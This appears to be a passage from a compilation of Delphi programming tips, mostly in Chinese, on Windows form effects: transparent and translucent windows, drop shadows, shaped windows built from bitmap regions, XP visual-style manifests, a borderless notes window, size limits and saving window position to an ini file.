CombineRgn(FullRgn, FullRgn, FullRgn, RGN_COPY);

SetWindowRgn(Handle, FullRgn, TRUE);

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

//We start out as a transparent form....

DoInvisible;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

//This button just toggles between transparent and not trans..

if Button1.Caption = 'Show Form' then begin

DoVisible;

Button1.Caption := 'Hide Form';

end

else begin

DoInvisible;

Button1.Caption := 'Show Form';

end;

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

Application.Terminate;

end;

procedure TForm1.FormResize(Sender: TObject);

begin

//Need to address the transparency if the form gets re-sized.

//Also, note that Form1 scroll bars are set to VISIBLE/FALSE.

//I did that to save a little coding here....

if Button1.Caption = 'Show Form' then

DoInvisible

else

DoVisible;

end;

end.


透明的窗体

其实最简单的方法是：

在FormCreate中，添加代码：

Brush.Style:=bsClear;

即可，注意，不是Canvas.Brush.Style！

procedure TForm1.FormCreate(Sender: TObject);

var p:longint;

begin

p:=GetWindowLong(handle,GWL_STYLE);//获取窗体属性

SetWindowLong(handle,GWL_EXSTYLE,p+WS_EX_TRANSPARENT);//设置新属性

form1.Refresh;

end;

***************************

To make a form transparent you should put these 2 lines in form's creation procedure:

procedure TForm1.FormCreate(Sender: TObject);

begin

Form1.Brush.Style:=bsClear;

Form1.BorderStyle:=bsNone;

end;

If you use only that you will notice that the form is transparent but if you put something

over it, it will not clear its own background and traces of that object will be left on the

form. To solve that you need to make sure that the transparent form's Paint procedure (WM_PAINT)

will be called last. To do that you need to override the TWinControl (TForm's ancestor)

CreateParams procedure and set the Form's extended style (ExStyle) to WS_EX_TRANSPARENT.

Here's the full code for making a form transparent:

type

TForm1 = class(TForm)

procedure CreateParams(var Params:TCreateParams); override;

procedure FormCreate(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.CreateParams(var Params:TCreateParams);

Begin

inherited CreateParams(Params);

Params.ExStyle:=WS_EX_TRANSPARENT;

End;

procedure TForm1.FormCreate(Sender: TObject);

begin

Form1.Brush.Style:=bsClear;

Form1.BorderStyle:=bsNone;

end;


半透明窗口

在show本窗口之前,GetWindowDC(NULL)...总之取得窗口所在位置的图形,

然后显示本窗口,画的时候,进行alpha blending,就是：

R_new = ( R_background * a + R_image * (255-a) ) /255;

G_new = ( G_background * a + G_image * (255-a) ) /255;

B_new...........

反正就是,一个点的新的RGB值,是由取得的背景，和要画的前景的RGB混合而成,

那个a,决定了透明的程度,越大越透明……(废话，a=255时不就完全透明了！)

算法可以优化,以提高速度.


如何制作半透明窗口

如何制作半透明窗口

---- 用过金山词霸的朋友，一定会为其半透明的翻译提示窗口而称奇。究竟这种窗口是如何做出来的呢？下面我们将来探讨这种半透明的窗口的制作方法。

一、 原理

---- 首先，我们先从透明窗口说起，其实透明窗口就是可以透过窗口看到它背景。所以，我们可以将窗口后面的背景图象，显示在窗口前面，就可实现透明窗口的效果了。至于半透明的效果，是在透明的基础上，加上一层滤镜，使看到的背景模糊一点而已。所以，在拿到背景图象后，先在该图象加上一层滤镜（把图象弄模糊），然后再显示在窗口上，就能达到半透明的效果。

---- 我们可归纳出实现半透明窗口的步骤：在窗口显示前其获取背景图 → 对背景图象进行滤镜效果处理 → 将处理过的背景图象显示在窗口前面。

---- （1） 获取背景图象

---- 要获取背景图，先用GetDC(0)函数获取整个屏幕设备场景（DC），再用CopyRect函数拷贝窗口的背景到指定的Tbitmap，该Tbitmap就是我们所要的图象了。其中函数GetDC(0)取得的DC可用TCanvas.Handle保存；而CopyRect是TCancas类的成员函数，作用是从一Canvas中拷贝一指定区域（Rect）到另一Canvas的指定区域。

---- (2）对背景图进行滤镜效果处理

---- 用循环的方法遍历图象的每一点，将各点的某些频段的光波滤除。其实，滤镜种类繁多，所以的算法亦很多，读者们可参考相关资料，选择您满意的方法。本文的滤镜是灰色的，实现方法见TranslucentBmp(Bmp:TBitmap;AColor:TColor;ATransparent:Longint)。其中，参数Bmp是要处理的图象，AColor是滤镜的颜色，ATransparent是透明度。

二、 写程序

----

将以上原理用Delphi编写成程序，在Delphi中新建一Project，Form1的Height和Width分别设成150和300（不要做的太大，不然显示速度很慢），再设置BorderStyle的值为bsNone；在Form1中添加一Timage控件Image1，将其Align属性设成alClient。再添加一标签Label1和按钮TSpeedButton，在Label1的Caption属性中输入"这是一半透明窗口！"，按钮的Caption属性设成"x"，在其OnClick事件中输入一行"Close;"。并将它们Bring to Front。另外，可添加四个TShape，贴在Image1的四边上，以构造Form1的3D效果，如图（一）。各控件的属性如下表：

组件名称 属性 设置值

Form1 BorderStyle BsNone

Height 150

Width 300

TFont 宋体9号

Image1 Align AlClient

Label1 Caption 这是一半透明窗口！

TFont 宋体9号，黄色

SpeedButton1 Caption X

Left 279

Top -1

Height 14

Width 13

Transparent True

图（一）

---- 完整的源代码如下：

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes,

Graphics, Controls, Forms, Dialogs,

StdCtrls, ExtCtrls, Buttons;

type

TForm1 = class(TForm)

Label1: TLabel;

Shape1: TShape;

Shape2: TShape;

Shape3: TShape;

Shape4: TShape;

Image1: TImage;

SpeedButton1: TSpeedButton;

procedure FormCreate(Sender: TObject);

procedure SpeedButton1Click(Sender: TObject);

private

{ Private declarations }

//截获背景图象

function GetBackgroundBmp:TBitmap;

//对背景图象进行滤镜处理

procedure TranslucentBmp(Bmp:TBitmap;

AColor:TColor;ATransparent:Longint);

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

//以下截获背景图象

function TForm1.GetBackgroundBmp:TBitmap;

var Scn:TCanvas;

h,w:Integer;

begin

Scn:=TCanvas.Create; //建立整个屏幕的画布

h:=ClientHeight;//窗口的高

w:=ClientWidth; //窗口的宽

Result.Height:=h; //设返回位图的高就是窗口的高

Result.Width:=w;//设返回位图的宽就是窗口的宽

try

Scn.Handle:=GetDC(0);//取得整个屏幕的DC

//以下一行将窗口的背景部分复制到指定的画布中，

也就是本函数的返回值

Result.Canvas.CopyRect(Rect(0,0,w,h),Scn,

Rect(Left,Top,Left+w,Top+h));

ReleaseDC(0, Scn.handle);

finally

Scn.Free;

end;

end;

//以下函数对背景图象进行滤镜处理，

Bmp是要处理的位图；ATransparent是透明度

procedure TForm1.TranslucentBmp(Bmp:

TBitmap;AColor:TColor;ATransparent:Longint);

var BkColor:COLORREF;

ForeColor:Longint;

R,G,B:Int64;

i,j:Integer;

begin

ForeColor:=ColorToRGB(AColor);

with Bmp.Canvas do

for i:=ClientHeight-1 downto 0 do

for j:=ClientWidth-1 downto 0 do

begin

BkColor:=GetPixel(Handle,j,i); //取得每一象素

R:=Byte(ForeColor)+

(Byte(BkColor)-Byte(ForeColor))*ATransparent;

G:=Byte(ForeColor shr 8)+

(Byte(BkColor shr 8)-Byte(ForeColor

shr 8))*ATransparent;

B:=Byte(ForeColor shr 16)+

(Byte(BkColor shr 16)-Byte(ForeColor

shr 16))*ATransparent;

SetPixelV(Handle,j,i,RGB(R,G,B));//合成象素

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

var BackgroundBmp:TBitmap;

begin

try

BackgroundBmp:=Tbitmap.Create;

//建立窗口背景图

BackgroundBmp.PixelFormat:=pf24bit;

//指定该图是24位真彩色

BackgroundBmp:=GetBackgroundBmp;

//取得窗口背景图

TranslucentBmp(BackgroundBmp,clBlack,50);

//对该图象进行滤镜处理

Image1.Picture.Bitmap:=BackgroundBmp;

//将处理过的图象显示出来

finally

BackgroundBmp.Free;

end;

end;

procedure TForm1.SpeedButton1Click

(Sender: TObject);

begin

Close;

end;

end.

---- 程序的运行效果如图（一）所示。

三、 结束语

---- 需要说明的是：由于受到以上滤镜算法的速度影响，所以窗口显示时有所延迟，在窗口频繁显示和关闭时不是很流畅


如何制作立体窗口阴影效果

软件设计中有一块内容相当的重要，那就是软件设计，软件设计中的软件界面的设计是比较直观的东西。一套好的软件除了要有良好的架构，良好的底层设计，软件界面也是相当重要的。当然这里不是讲如何设计软件，只是贴出这篇文章，抛砖引玉而已。

界面的效果可以有很多种表现方式，呵呵，今天看到套软件居然能有这样的效果，窗体的右边及窗体的下部有阴影效果。不错，尝试了做一下，效果还可以，和大家一起来分享！

原理：

在一个窗口的右边和窗口的下部各添加一个窗体，用于做阴影显示，从而产生立体效果。

在窗体的Interface中定义了以下几个变量：

private

ShadowWidth:integer;//主要用于确定阴影的宽度或高度，也可以设计成Const类型

RightShadow:TForm;//主窗口的右边产生一个阴影窗口

BottomShadow:TForm;//主窗口的下部产生一个阴影窗口

用户在移动主窗体的时候，要让两个阴影窗口随之移动，所以要重载下窗口移动的消息WM_WindowPosChanged；

private

procedure WMWindowPosChanged(var Msg:TWMWindowPosChanged);message wm_windowposchanged;

实现部分如下：

begin

inherited;

if Assigned(RightShadow) and RightShadow.Visible then

FormResize(nil);

end;

在implementation定义下几个常量：

const

//在函数for SetLayeredWindowAttributes中用到的常量

lwa_Alpha =2;

//窗口布局的扩展

ws_ex_layered =$80000;//关键

调用uer32.dll中的函数SetLayeredWindowAttributes，直接放入implementation部分中。

function SetLayeredWindowAttributes(wnd:HWND;ckKey:COLORREF;

bApha:Byte;dwFlags:Cardinal):bool;stdcall;

external 'user32.dll';

在主窗体生成的时候，动态产生两个阴影窗口并设置他们的窗体样式（STYLE）

procedure TForm1.FormCreate(Sender: TObject);

begin

ShadowWidth:=7;

RightShadow:=TForm.Create(self);

with RightShadow do

begin

parent :=Application.MainForm;

BorderStyle :=bsNone;

Width :=ShadowWidth;

Color :=clBlack;

Visible :=true;

end;

SetWindowLong(RightShadow.Handle,gwl_exstyle,GetWindowLong(RightShadow.Handle,gwl_exstyle)or ws_ex_layered);

SetLayeredWindowAttributes(RightShadow.Handle,0,150,lwa_Alpha);

BottomShadow:=TForm.Create (self);

with BottomShadow do

begin

parent :=Application.MainForm;

BorderStyle :=bsNone;

Height :=ShadowWidth;

Color :=clBlack;

Visible :=true;

end;

SetWindowLong(BottomShadow.Handle,gwl_exstyle,GetWindowLong(BottomShadow.Handle,gwl_exstyle)or ws_ex_layered);

SetLayeredWindowAttributes(BottomShadow.Handle,0,150,lwa_Alpha);

FormResize(Sender);

end;

在窗体中要重画整个窗体，所以使用FormResize，注意要调节好整个窗体的布局。

procedure TForm1.FormResize(Sender: TObject);

begin

RightShadow.Height :=Height;

RightShadow.Left :=Left+Width;

RightShadow.Top :=Top+ShadowWidth;

BottomShadow.Width :=Width-ShadowWidth;

BottomShadow.Left :=Left+ShadowWidth;

BottomShadow.Top :=Top+Height;

end;

到此，整个过程完成，大家可以去看看她的效果了。


窗体背景渐变

var i: word;

dy, y: real;

begin

dy := clientheight / 256;

y := 0;

for i := 255 downto 0 do

begin

canvas.brush.color := $00000000 + i * $10000;

canvas.fillrect(rect(0, round(y), clientwidth, round(y + dy)));

y := y + dy;

end;

end;


如何在自己的程序中使用XP窗体风格

如何在自己的程序中使用XP窗体风格？

下面的方法，不适合于继承这种情况。

{

To benefit from the new look and feel (Visual Styles) for the Windows XP

environment, you must include a Manifest in your application.

(Either as resource or as file in the same directory where your application

resides)

The manifest is a XML document. It will allow Windows XP to decide which

version of the comctl32.dll to use when binding.

The XML document contains information about the application you are

writing as well as information concerning the version of the comctl32.dll to use.

The following instruction shows how to

* create the manifest document

* create the XP resource file

* include the file in your application

The steps 1-4 show how to create the files.

You can also download the manifest and resource file from the

Demo-download.

}

{

Damit eine Anwendung das neue Look-and-Feel (Visual Styles) von Windows XP

annimmt, muss eine Manifest Datei in der Applikation enthalten sein.

(Entweder als Ressource oder im gleichen Verzeichnis, wo sich die Applikation

befindet)

Das Manifest ist ein XML Dokument.

Wenn Windows dieses in einer EXE Datei vorfindet, wird automatisch die Version 6

von comctl32.dll geladen und die Controls erscheinen im XP Design.

Die Folgende Anleitung zeigt, wie man

* das manifest Dokument erstellt

* die Ressourcen Datei erstellt

* die Ressource in die Anwendung einbindet.

Das Manifest und die Ressourcen Datei k?nnen auch über das "Demo-Download" heruntergeladen

werden. Dann k?nnen die Schritte 1-4 ausgelassen werden.

}

{1)

Copy this sample manifest and paste it into notepad or any text editor.

Kopiere das Beispiel Manifest und füge es in einen Texteditor ein (z.B Notepad}

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">

<assemblyIdentity

version="1.0.0.0"

processorArchitecture="X86"

name="CompanyName.ProductName.MyProgram"

type="win32"

/>

<description>Your Application Description</description>

<dependency>

<dependentAssembly>

<assemblyIdentity

type="win32"

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

processorArchitecture="X86"

publicKeyToken="6595b64144ccf1df"

language="*"

/>

</dependentAssembly>

</dependency>

</assembly>

{2)

To customize to fit your application, replace "name" from assemblyIdentity and the

"description" string with your own data. Then save the file as WinXP.manifest

?ndere im Manifest den "name" von assemblyIdentity und die

"description" mit eigenen Angaben. Speichere das Manifest als WinXP.manifest}

{3)

Create another file which contains instructions to include the

WinXP.manifest (XML) document.

The contents of the WinXP.rc looks like this:

Erstelle eine weitere Datei, welche die Instruktionen zur Erstellung

der Ressourcen Datei enth?lt.

Der Inhalt von WinXP.rc schaut so aus:}

1 24 "WinXP.manifest"

{4)

Now we need to use Delphi's resource compiler (brcc32.exe) to compile the WinXP.rc file.

Doing so will result in a WinXP.res

From the command line, type the following:

Compilire nun mit Borland's Resource Compiler (brcc32.exe),

die Datei WinXP.rc. Es wird dann eine WinXP.res Datei erstellt.

Gibt im MS-DOS Prompt, im Verzeichnis wo sich WinXP.rc befindet, nun folgendes ein:}

brcc32 WinXP.rc

(*5)

Now include the resource in your application.

Include the following compiler directive:

immediately after {$R *.DFM}:

Nun muss noch eine Compiler Directive dem Sourcecode hinzugefügt werden.

Der Eintrag sollte unmittelbar nach der Form Directive {$R *.DFM} folgen,

so wie hier:*)

{$R WinXP.res}

{6)

Compile your application and run it!

Compiliere die Anwendung und starte sie!}

{7)

Test it if it runs correctly.

Note that some controls don't adapt the new XP design such

as TGroupBox, TSpeedButton and some others.

If you use the TListView component with the view style of vsReport, have a look at this tip:

http://www.swissdelphicenter.ch/de/showcode.php?id=1117

überprüf nun, ob die Anwendung korrekt l?uft. Einige Controls nehmen das neue XP Design

nicht an (TGroupBox, TSpeedButton und andere)

Bei der ListView mit vsReport Style muss dies beachtet werden:

http://www.swissdelphicenter.ch/de/showcode.php?id=1117

}

附件>>>>>> Manifest.zip


一个窗体的特效

一个窗体的特效：

procedure TForm1.Button1Click(Sender: TObject);

var

r:thandle;

i:integer;

begin

for i:=1 to trunc(width/1.414) do

begin

r:=CreateEllipticRgn(trunc(width/2)-i,trunc(height/2)-i,trunc(width/2)+i,trunc(height/2)+i);

SetWindowRgn(handle,r,true);

//Next one Line fixed by Aiming.

Application.ProcessMessages;

sleep(1);

end;

end;


建立任意图片形状窗口的方法

建立任意图片形状窗口的方法

作者：晨晨

问题提出/摘要:

现在有许多Delphi方面的书都有讲如何建立圆形、椭圆形、星形等等非标准形状的窗口，不过实用性并不大。因为如果是一个不规则图形的话，你要怎么才能画好呢？就算可以那又要用多少时间呢？所以啦，我介绍下面的建立任意图片形状窗口的方法！只是可惜是别人发明的非我原创 :(

回答:

下面的程序段是一个外国人的原算法！（我最早看到算法，可他是不是抄的我就不知道了）原来是一个控件，不过在我的电脑上不能用。由万重大侠改写了并且发布在他的网站上：

http://mantousoft.51.net 注释是我写的。

function Tform1.CreateRegion(wMask: TBitmap; wColor: TColor; hControl: THandle): HRGN;

var

dc, dc_c : HDC;

Rgn, TempRgn : HRGN;

X, Y, BeginY : Integer;

line : boolean;

color : TColor;

begin {代码风格不统一，因为有些是照抄那个外国人的。

dc := GetWindowDC(hControl);

dc_c := CreateCompatibleDC(dc);

SelectObject(dc_c, wMask.Handle);

BeginY := 0;{这句可以不要，有了可以避免编译器警告。}

Rgn := CreateRectRgn(0, 0, 0, 0); {先初始化一个空的区域给Rgn。}

for X := 0 to wMask.Width - 1 do

begin

line := False;

for Y := 0 to wMask.Height - 1 do

begin

color := GetPixel(dc_c, X, Y);

if not (color = wColor) then

begin

if not line then

begin

line := True;

BeginY := Y;

end;

end;

if (color = wColor) or (Y = wMask.Height - 1) then

begin

if line then

begin

line := False;

TempRgn := CreateRectRgn(X, BeginY, X + 1, Y);

CombineRgn(Rgn, Rgn, TempRgn, RGN_OR);

{把图形以连续得线段为单位生成区域，并且合并到总的区域中}

end;

end;

end;

end;

ReleaseDC(hControl, dc);

DeleteObject(dc);

Result := Rgn;

end;

procedure TForm1.FormCreate(Sender: TObject);

var

w1 : TBitmap;

w2 : TColor;

rgn : HRGN;

begin

w1 := TBitmap.Create;

w1.Assign(image1.Picture.Bitmap);

w2 := w1.Canvas.Pixels[0, 0];

rgn := CreateRegion(w1, w2, Handle);

if rgn <> 0 then

begin

SetWindowRgn(Handle, rgn, true);

end;

w1.Free;

end;

不过后来看到了罗云彬(http://asm.yeah.net)大侠给出了不同的算法，我以为更好些，源程序可是用100%的汇编写成的（厉害吧！）我改为了Delphi的样子！首先解释两个函数。

1、原形：function CreateRectRgn(p1, p2, p3, p4: Integer): HRGN; stdcall;创建一个由点p1，p2和p3，p4描述的矩形区域；

2、原形：function CombineRgn(p1, p2, p3: HRGN; p4: Integer): Integer; stdcall;把p2和p3区域合并为区域p1，p4是合并方式，p4取值如下：RGN_AND 交集合并，RGN_COPY拷贝p2的内容,RGN_DIFF合并p2和p3不相交的地方，RGN_OR并集合并，RGN_XOR不同时在p2和p3中的部分。

下面给出完整源程序：

function Tform1.CreateRegion(wMask: TBitmap; wColor: TColor; hControl: THandle): HRGN;

var

dc, dc_c : HDC;

rgn : HRGN;

x, y : integer;

coord : TPoint;

line : boolean;

color : TColor;

begin

dc := GetWindowDC(hControl);

dc_c := CreateCompatibleDC(dc);

{创建一个与特定设备场景一致的内存设备场景}

SelectObject(dc_c, wMask.Handle);

{把位图选入内存设备场景这样才可以操作！}

BeginPath(dc);

{启动一个路径分支。

在这个命令后执行的GDI绘图命令会自动成为路径的一部分。

对线段的连接会结合到一起。并且设备场景中任何现成的路径都会被清除。}

for x := 0 to wMask.Width - 1 do

begin

line := false;

for y := 0 to wMask.Height - 1 do

begin

color := GetPixel(dc_c, x, y);

if not (color = wColor) then

begin

if not line then

{如果这个不同颜色的线段开始了当然就不记录了！}

begin

line := true; {这是记录下这一列连续的不是背景颜色的颜色段的第一个位子。}

coord.x := x; {其实这个X是不用的，因为coord.x是恒等于x的。但尊重源作者，保留！}

coord.y := y;

end;

end;

if (color = wColor) or (y = wMask.Height - 1) then {如果这个颜色段完了或者到了图片底部}

begin

if line then

begin

line := false;

MoveToEx(dc, coord.x, coord.y, nil); {就把画线的起点移到这个列线段不同颜色的开始}

LineTo(dc, coord.x, y);

LineTo(dc, coord.x + 1, y);

LineTo(dc, coord.x + 1, coord.y); {上面三个LineTo()语句就是画一个2×y的矩形。

一定要这样才可以画上每个点！并且连在一起的如果你查查Win32 SDK手册你还可以用Rectangle(dc, coord.x, coord.y, x + 2, y)等其他的画图函数代替从MoveToEx()开始的四个语句！也是一样的，只要记住要把点画完而且要重叠地画才可以把路径连在一起！}

CloseFigure(dc); {描绘到一个路径时，关闭当前打开的图形。万重大侠说不可以少，我不理解，但是多了不错。}

end;

end;

end;

end;

EndPath(dc); {结束画路径}

rgn := PathToRegion(dc); {连接路径为区域的函数。}

ReleaseDC(hControl, dc); {释放资源，公式化的必须使用。}

Result := rgn;

end;


无边框的模拟窗体

模拟一个类似上面窗口的窗体？

You need to make your form Border style bsNone and Color $00B0F3FF. Set ClientHeight = 317 ClientWidth = 304. Now add 2 TBitBtn buttons, BitBtn_CloseX and BitBtn_Min, in the upper right corner, set the Anchors for both BitBnts as akTop = True and akRight = True, others false, button width = 19, height = 17. Each of these buttons will have a click event. . .

Place a TMemo on your form, set the top = 29 Height = 265 Left = 0 and set the right side to touch the right side of the form, set ALL the Anchors to True, and set the ParentColor to True. There should be 29 pixels of Form above Memo1 and about 20 pixels of form below it. Now Put a TPopupMemu and add 5 menu Items - Move, Size, Minimize, (separator N1), and Close, 4 of these menu Items will have a click event.

code for Notes.Pas

unit Notes1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, Buttons, Menus;

type

TForm1 = class(TForm)

BitBtn_CloseX: TBitBtn;

BitBtn_Min: TBitBtn;

Memo1: TMemo;

PopupMenu1: TPopupMenu;

Move1: TMenuItem;

Size1: TMenuItem;

Minimize1: TMenuItem;

N1: TMenuItem;

{N1 is menu separator}

Close1: TMenuItem;

procedure BitBtn_CloseXClick(Sender: TObject);

procedure FormCreate(Sender: TObject);

procedure FormPaint(Sender: TObject);

procedure FormMouseDown(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

procedure BitBtn_MinClick(Sender: TObject);

procedure Move1Click(Sender: TObject);

procedure Size1Click(Sender: TObject);

procedure FormClose(Sender: TObject; var Action: TCloseAction);

private

{ Private declarations }

hSmIcon: THandle;

procedure WMDrawItem(var Message: TWMDrawItem); message WM_DrawItem;

procedure CreateParams(var Params: TCreateParams); override;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

uses ShellApi;

procedure TForm1.CreateParams(var Params: TCreateParams);

begin

inherited CreateParams(Params);

with Params do

begin

Style := Style or WS_SIZEBOX {or WS_CAPTION} or WS_SYSMENU;

WindowClass.style := WindowClass.style or CS_HREDRAW or CS_VREDRAW or CS_BYTEALIGNCLIENT;

end;

end;

procedure TForm1.WMDrawItem(var Message: TWMDrawItem);

var

Brush1: THandle;

begin

Message.Result := 1;

if Message.Ctl = BitBtn_CloseX.Handle then

begin

if (Message.DrawItemStruct.itemState and ODS_SELECTED) <> 0 then

DrawFrameControl(Message.DrawItemStruct.hDC,Message.DrawItemStruct.rcItem,DFC_CAPTION,DFCS_CAPTIONCLOSE or DFCS_PUSHED)

else

DrawFrameControl(Message.DrawItemStruct.hDC,Message.DrawItemStruct.rcItem,DFC_CAPTION,DFCS_CAPTIONCLOSE);

end else

if Message.Ctl = BitBtn_Min.Handle then

begin

if (Message.DrawItemStruct.itemState and ODS_SELECTED) <> 0 then

DrawFrameControl(Message.DrawItemStruct.hDC,Message.DrawItemStruct.rcItem,DFC_CAPTION,DFCS_CAPTIONMIN or DFCS_PUSHED)

else

DrawFrameControl(Message.DrawItemStruct.hDC,Message.DrawItemStruct.rcItem,DFC_CAPTION,DFCS_CAPTIONMIN);

end else

Inherited;

end;

procedure TForm1.BitBtn_CloseXClick(Sender: TObject);

begin

Close;

end;

procedure TForm1.FormCreate(Sender: TObject);

var

ShInfo1: SHFILEINFO;

sz: Integer;

begin

sz := GetSystemMetrics(SM_CXSIZE);

if sz > 0 then

begin

BitBtn_CloseX.Width := sz-2;

BitBtn_Min.Width := sz-2;

end;

sz := GetSystemMetrics(SM_CYSIZE);

if sz > 0 then

begin

BitBtn_CloseX.Height := sz-4;

BitBtn_Min.Height := sz-4;

end;

BitBtn_CloseX.Left := ClientRect.Right - BitBtn_CloseX.Width - 3;

BitBtn_Min.Left := BitBtn_CloseX.Left- (sz);

SHGetFileInfo(PChar(ParamStr(0)), 0, ShInfo1, SizeOf(SHFILEINFO),SHGFI_ICON or SHGFI_SMALLICON);

hSmIcon := ShInfo1.hIcon;

Canvas.Brush.Color := $0000A3BA;

Canvas.Font.Name := 'New Times Roman';

Canvas.Font.Size := 10;

Canvas.Font.Color := clWhite;

DoubleBuffered := True;

Memo1.DoubleBuffered := True;

Close1.Caption := 'Close'#9'Alt+F4';

if fileExists(ExtractFilePath(ParamStr(0))+'Notes.nte') then

Memo1.Lines.LoadFromFile(ExtractFilePath(ParamStr(0))+'Notes.nte') else

Memo1.Text := 'Notes';

end;

procedure TForm1.FormPaint(Sender: TObject);

//var

//Rect1: Trect;

begin

Canvas.RoundRect(29,1,Width-(BitBtn_Min.Width+BitBtn_CloseX.Width+17),

BitBtn_Min.Height+6,5,5);

DrawIconEx(Canvas.Handle,5,3, hSmIcon, 0, 0, 0, 0, DI_NORMAL);

Canvas.TextOut(34,3,'Notes');

Canvas.Pen.Color := $0000A3BA;

Canvas.MoveTo(1,Memo1.Top-2);

Canvas.LineTo(ClientRect.Right-1,Memo1.Top-2);

Canvas.MoveTo(1,Memo1.Top+Memo1.Height+2);

Canvas.LineTo(ClientRect.Right-1,Memo1.Top+Memo1.Height+2);

Canvas.MoveTo(1,Memo1.Top+Memo1.Height+2);

Canvas.LineTo(1,ClientRect.Bottom-1);

Canvas.LineTo(ClientRect.Right-1,ClientRect.Bottom-1);

Canvas.LineTo(ClientRect.Right-1,Memo1.Top+Memo1.Height+2);

Canvas.MoveTo(ClientRect.Right-6,ClientRect.Bottom-1);

Canvas.LineTo(ClientRect.Right-1,ClientRect.Bottom-6);

Canvas.MoveTo(ClientRect.Right-10,ClientRect.Bottom-1);

Canvas.LineTo(ClientRect.Right-1,ClientRect.Bottom-10);

Canvas.MoveTo(ClientRect.Right-15,ClientRect.Bottom-1);

Canvas.LineTo(ClientRect.Right-1,ClientRect.Bottom-15);

Canvas.Pen.Color := clBlack;

Canvas.Font.Color := clBlack;

Canvas.Brush.Style := bsClear;

Canvas.TextOut(7,ClientRect.Bottom-19,DateTimeToStr(Now){DateToStr(Date)});

Canvas.Brush.Style := bsSolid;

Canvas.Font.Color := clWhite;

Canvas.Brush.Color := $0000A3BA;

//Rect1 := Rect(2,2,Width-7,22);

//DrawCaption(Handle, Canvas.Handle, Rect1, DC_ACTIVE or DC_ICON or DC_TEXT);

end;

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

var

hSysMenu: THandle;

begin

if Button = mbLeft then

if PtInRect(Rect(4,3,22,21), Point(X,Y)) then

begin

PopupMenu1.Popup(Left+4, Top+27);

end else

if PtInRect(Rect(29,1,Width-(BitBtn_Min.Width+BitBtn_CloseX.Width+17), BitBtn_Min.Height+6), Point(X,Y)) then

begin

ReleaseCapture;

Form1.perform(WM_SysCommand, $F012, 0);

end;

//ShowMessage('Clicked Point');

end;

procedure TForm1.BitBtn_MinClick(Sender: TObject);

begin

Application.Minimize;

end;

procedure TForm1.Move1Click(Sender: TObject);

begin

Perform(WM_SYSCOMMAND, SC_MOVE, 0);

end;

procedure TForm1.Size1Click(Sender: TObject);

begin

Perform(WM_SYSCOMMAND, SC_SIZE, 0);

end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);

begin

Memo1.Lines.SaveToFile(ExtractFilePath(ParamStr(0))+'Notes.nte');

end;

end.


刷新窗体部分区域
可以拦截Wm_paint消息，然后使用GetUpdateRect取得要刷新的区域


限制窗口的大小

用FormConstraint的属性会导致有一个超出限制大小的虚框.

你比较一下用Form的Constraint.MaxWidth,MaxHeight和下面的代码的效果就知道了.

type

TForm1 = class(TForm)

procedure wmgetminmaxinfo(var msg:tmessage);message wm_getminmaxinfo;

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.wmgetminmaxinfo(var msg: tmessage);

var

p:^TMinmaxinfo;

begin

p:=pointer(msg.LParam);

p^.ptMaxTrackSize.y:=500;

p^.ptMaxSize.x:=500;

p^.ptMaxSize.y:=500;

p^.ptMaxTrackSize.x:=500;

end;


自动保存窗口状态的控件

一些比较专业的软件都有自动保存窗口运行状态的功能，具体的方法都是在窗口关闭前将其状态保存到注册表中或ini文件中，而这些代码一般都是相同的，所以可以将其集中在一起，重复使用。本文将相应的代码用一个控件TPosition来实现，使用时只要将此控件放到相应的Form上即可，不需要增加任何代码，从而实现了“零”代码保存窗口运行状态。

    下面是这个控件的主要实现文件Position.pas的内容，包括相应的注释。为了保持注册表的整洁，这里把信息保存到ini文件中。

    unit Position;

    interface

    uses

    Forms, Classes, SysUtils, Windows, IniFiles;

    type

    //TPosition是不可视控件，由TComponent继承

    TPosition = class(TComponent)

    private

    //用此变量保存父窗口的OnDestroy事件

    FOnDestroy: TNotifyEvent;

    //用此函数替换父窗口的OnDestroy事件

    procedure FormDestroy(Sender: TObject);

    protected

    //在控件加载时恢复父窗口状态

    procedure Loaded; override;

    end;

    //恢复窗口位置函数

    procedure ReadFormPos(Form:TForm);

    //保存窗口位置函数

    procedure SaveFormPos(Form:TForm);

    //控件注册函数

    procedure Register;

    implementation

    //连接此控件的图标

    {＄R Position.Dcr}

    //恢复窗口位置函数，窗口状态存放在ini文件中。

    procedure ReadFormPos(Form : TForm);

    var

    RegFile : TIniFile;

    SectName : string;

    begin

    //ini文件中存放Form信息的节名称

    SectName := Form.Name ＋ ' Position';

    //打开与可执行文件名相同的ini文件

    RegFile := TIniFile.Create(

    ChangeFileExt(Application.ExeName,'.ini'));

    //恢复窗口状态

    with Form do begin

    Left := RegFile.ReadInteger(SectName,'Left',Left);

    Top := RegFile.ReadInteger(SectName,'Top',Top);

    Width := RegFile.ReadInteger(SectName,'Width',Width);

    Height := RegFile.ReadInteger(SectName,'Height',Height);

    WindowState := TWindowState(

    RegFile.ReadInteger(SectName,'WindowState',0));

    end;

    //关闭ini文件

    RegFile.Free;

    end;

    //保存窗口位置函数

    procedure SaveFormPos(Form:TForm);

    var

    RegFile : TIniFile;

    SectName : string;

    begin

    SectName := Form.Name ＋ ' Position';

    RegFile := TIniFile.Create(

    ChangeFileExt(Application.ExeName,'.ini'));

    with Form do begin

    RegFile.WriteInteger(SectName,'WindowState',

    integer(WindowState));

    //最大化时，不保存窗口位置

    if WindowState <> wsMaximized then begin

    RegFile.WriteInteger(SectName,'Left',Left);

    RegFile.WriteInteger(SectName,'Top',Top);

